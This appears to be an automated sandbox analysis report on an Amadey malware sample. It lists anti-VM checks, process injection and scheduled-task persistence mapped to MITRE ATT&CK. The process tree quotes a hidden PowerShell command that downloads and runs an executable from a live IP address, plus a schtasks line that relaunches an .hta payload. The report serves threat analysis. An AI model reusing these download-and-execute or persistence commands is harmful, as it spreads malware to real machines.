amadey | 1723bd9dd8938f0a1d3cd89fe50a54f8538d4961c2a15d385e94f0e0f36d9be7

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ViGgA8C.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1836	powershell.exe
1256	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
4	1256	powershell.exe
8	2552	skotes.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Executes dropped EXE 3 IoCs

pid	Process
1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
2552	skotes.exe
1288	ViGgA8C.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	ViGgA8C.exe

Loads dropped DLL 5 IoCs

pid	Process
1256	powershell.exe
1256	powershell.exe
1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
2552	skotes.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
2552	skotes.exe
1288	ViGgA8C.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5QZQM_random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ViGgA8C.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1180	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1256	powershell.exe
1256	powershell.exe
1256	powershell.exe
1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
2552	skotes.exe
1836	powershell.exe
1288	ViGgA8C.exe
1288	ViGgA8C.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	1288	ViGgA8C.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1712	5QZQM_random.exe
1712	5QZQM_random.exe
1712	5QZQM_random.exe
1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1712	5QZQM_random.exe
1712	5QZQM_random.exe
1712	5QZQM_random.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 1968	1712	5QZQM_random.exe	30
PID 1712 wrote to memory of 1968	1712	5QZQM_random.exe	30
PID 1712 wrote to memory of 1968	1712	5QZQM_random.exe	30
PID 1712 wrote to memory of 1968	1712	5QZQM_random.exe	30
PID 1712 wrote to memory of 2072	1712	5QZQM_random.exe	31
PID 1712 wrote to memory of 2072	1712	5QZQM_random.exe	31
PID 1712 wrote to memory of 2072	1712	5QZQM_random.exe	31
PID 1712 wrote to memory of 2072	1712	5QZQM_random.exe	31
PID 1968 wrote to memory of 1180	1968	cmd.exe	33
PID 1968 wrote to memory of 1180	1968	cmd.exe	33
PID 1968 wrote to memory of 1180	1968	cmd.exe	33
PID 1968 wrote to memory of 1180	1968	cmd.exe	33
PID 2072 wrote to memory of 1256	2072	mshta.exe	34
PID 2072 wrote to memory of 1256	2072	mshta.exe	34
PID 2072 wrote to memory of 1256	2072	mshta.exe	34
PID 2072 wrote to memory of 1256	2072	mshta.exe	34
PID 1256 wrote to memory of 1768	1256	powershell.exe	36
PID 1256 wrote to memory of 1768	1256	powershell.exe	36
PID 1256 wrote to memory of 1768	1256	powershell.exe	36
PID 1256 wrote to memory of 1768	1256	powershell.exe	36
PID 1768 wrote to memory of 2552	1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE	37
PID 1768 wrote to memory of 2552	1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE	37
PID 1768 wrote to memory of 2552	1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE	37
PID 1768 wrote to memory of 2552	1768	TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE	37
PID 2552 wrote to memory of 1836	2552	skotes.exe	40
PID 2552 wrote to memory of 1836	2552	skotes.exe	40
PID 2552 wrote to memory of 1836	2552	skotes.exe	40
PID 2552 wrote to memory of 1836	2552	skotes.exe	40
PID 2552 wrote to memory of 1288	2552	skotes.exe	42
PID 2552 wrote to memory of 1288	2552	skotes.exe	42
PID 2552 wrote to memory of 1288	2552	skotes.exe	42
PID 2552 wrote to memory of 1288	2552	skotes.exe	42

C:\Users\Admin\AppData\Local\Temp\5QZQM_random.exe
"C:\Users\Admin\AppData\Local\Temp\5QZQM_random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn NpghkmaxE8b /tr "mshta C:\Users\Admin\AppData\Local\Temp\oIbPWwHMT.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn NpghkmaxE8b /tr "mshta C:\Users\Admin\AppData\Local\Temp\oIbPWwHMT.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1180
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\oIbPWwHMT.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'NP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Users\Admin\AppData\Local\TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE
      "C:\Users\Admin\AppData\Local\TempNP58OLGZLAWMPQPZF7DRJWUCDZM8RVXA.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1768
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2552
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1073578041\tYliuwV.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1836
      - C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion